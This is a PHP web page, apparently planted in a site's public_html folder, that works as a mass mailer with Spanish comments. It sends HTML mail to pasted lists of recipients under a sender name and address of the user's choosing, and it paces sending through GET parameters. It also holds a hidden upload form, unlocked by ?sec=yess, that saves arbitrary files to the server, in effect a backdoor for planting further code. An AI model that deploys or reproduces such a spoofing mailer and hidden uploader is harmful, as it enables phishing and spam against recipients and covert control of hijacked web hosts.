/home/preegmxb/public_html/microapp.php
<?php
// Evitar tiempo límite de ejecución
if (function_exists('set_time_limit')) {
    set_time_limit(0);
}

// Función para limpiar y validar emails
function cleanEmails($input) {
    $emails = preg_split('/[\r\n,]+/', trim($input));
    $validEmails = [];
    foreach ($emails as $email) {
        $email = filter_var(trim($email), FILTER_SANITIZE_EMAIL);
        if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $validEmails[] = $email;
        }
    }
    return $validEmails;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['Enoc'])) {
    $message = $_POST['html'] ?? '';
    $subject = $_POST['assunto'] ?? '';
    $fromEmail = $_POST['de'] ?? '';
    $fromName = $_POST['RealName'] ?? '';
    $recipientsRaw = $_POST['ellos'] ?? '';

    // Limpiar y validar emails
    $emails = cleanEmails($recipientsRaw);

    // Sanear inputs para evitar inyección
    $subject = htmlspecialchars(strip_tags($subject));
    $fromEmail = filter_var($fromEmail, FILTER_SANITIZE_EMAIL);
    $fromName = htmlspecialchars(strip_tags($fromName));
    $message = stripslashes(urldecode(preg_replace("/%5C%22/", "%22", urlencode($message))));

    if (empty($emails)) {
        echo "<p style='color:red;'>No hay destinatarios válidos.</p>";
        exit;
    }
} else {
    // Valores por defecto
    $message = "<html><body><h1>Hola my friend, How are u?</h1></body></html>";
    $subject = $_SERVER["HTTP_HOST"];
    $fromName = "locales";
    $fromEmail = "noreply@publimailer.com";
    $emails = ["diosdelared2025@hotmail.com"];
}
?>
<html>
<head><title>Mailer Mejorado</title></head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br>
<table width="534" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC">
<tr><td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tr><td>
<table border="0" width="100%">
<tr>
<td width="359">Email: <input name="de" type="email" size="30" value="<?php echo htmlspecialchars($fromEmail); ?>" required></td>
<td>Nombre: <input name="RealName" type="text" size="30" value="<?php echo htmlspecialchars($fromName); ?>" required></td>
</tr>
</table>
</td></tr>
<tr><td>Asunto: <input name="assunto" type="text" size="78" value="<?php echo htmlspecialchars($subject); ?>" required></td></tr>
<tr><td height="18" bgcolor="#C0C0C0"></td></tr>
<tr><td>
<table border="0" width="100%">
<tr>
<td><textarea name="html" cols="66" rows="10" required><?php echo htmlspecialchars($message); ?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35" placeholder="Lista de emails separados por coma o salto de línea" required><?php echo htmlspecialchars(implode("\n", $emails)); ?></textarea></td>
</tr>
</table>
</td></tr>
<tr><td><center><br><input type="submit" name="Enoc" value="Enviar"></center><br>

<?php
// Manejar carga de archivo si está activo el parámetro sec=yess
if (!empty($_GET['sec']) && $_GET['sec'] === 'yess') {
    echo '<form action="" method="post" enctype="multipart/form-data">
        <input name="archivo" type="file" size="35" />
        <input name="enviar" type="submit" value="Upload File" />
        <input name="action" type="hidden" value="upload" />     
    </form>';

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST["action"] ?? '') === "upload" && isset($_FILES["archivo"])) {
        $archivo = $_FILES["archivo"]['name'];
        if (!empty($archivo)) {
            $uploadDir = "./uploads/";
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            $targetFile = $uploadDir . basename($archivo);
            if (move_uploaded_file($_FILES['archivo']['tmp_name'], $targetFile)) {
                echo "<p>Archivo subido: <b>" . htmlspecialchars($archivo) . "</b></p>";
            } else {
                echo "<p style='color:red;'>Error al subir el archivo</p>";
            }
        } else {
            echo "<p style='color:red;'>No se seleccionó ningún archivo</p>";
        }
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['Enoc'])) {
    $totalEmails = count($emails);
    $headers = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
    $headers .= "From: $fromName <$fromEmail>\r\n";
    $headers .= "Reply-To: $fromEmail\r\n";
    $headers .= "X-Priority: 3\r\n";
    $headers .= "X-MSMail-Priority: Normal\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();

    $i = 0;
    foreach ($emails as $email) {
        $personalizedMessage = str_replace('%email%', $email, $message);

        // Control de pausas si se especifica en GET
        if (!empty($_GET['time']) && !empty($_GET['cant']) && $i > 0 && $i % (int)$_GET['cant'] === 0) {
            $waitTime = (int)$_GET['time'];
            $notify = htmlspecialchars($_GET['notf'] ?? '');
            echo "----------------------------------> Esperando {$waitTime} segundos. Enviando notificación a {$notify}...<br>\n";
            flush();
            if (filter_var($notify, FILTER_VALIDATE_EMAIL)) {
                mail($notify, $subject, $message, $headers);
            }
            sleep($waitTime);
        }

        if (mail($email, $subject, $personalizedMessage, $headers)) {
            echo "<font color='blue' face='verdana' size='1'>{$i} de {$totalEmails} ;-) Enviado a: {$email}</font><br>\n";
        } else {
            echo "<font color='red' face='verdana' size='1'>{$i} de {$totalEmails} :-( Error al enviar a: {$email}</font><br>\n";
        }
        flush();
        $i++;
    }
    echo "<script>alert('---Todos los correos han sido enviados---');</script>";
}
?>
</td></tr>
</table>
</td></tr>
</table>
</form>
</center>
</body>
</html>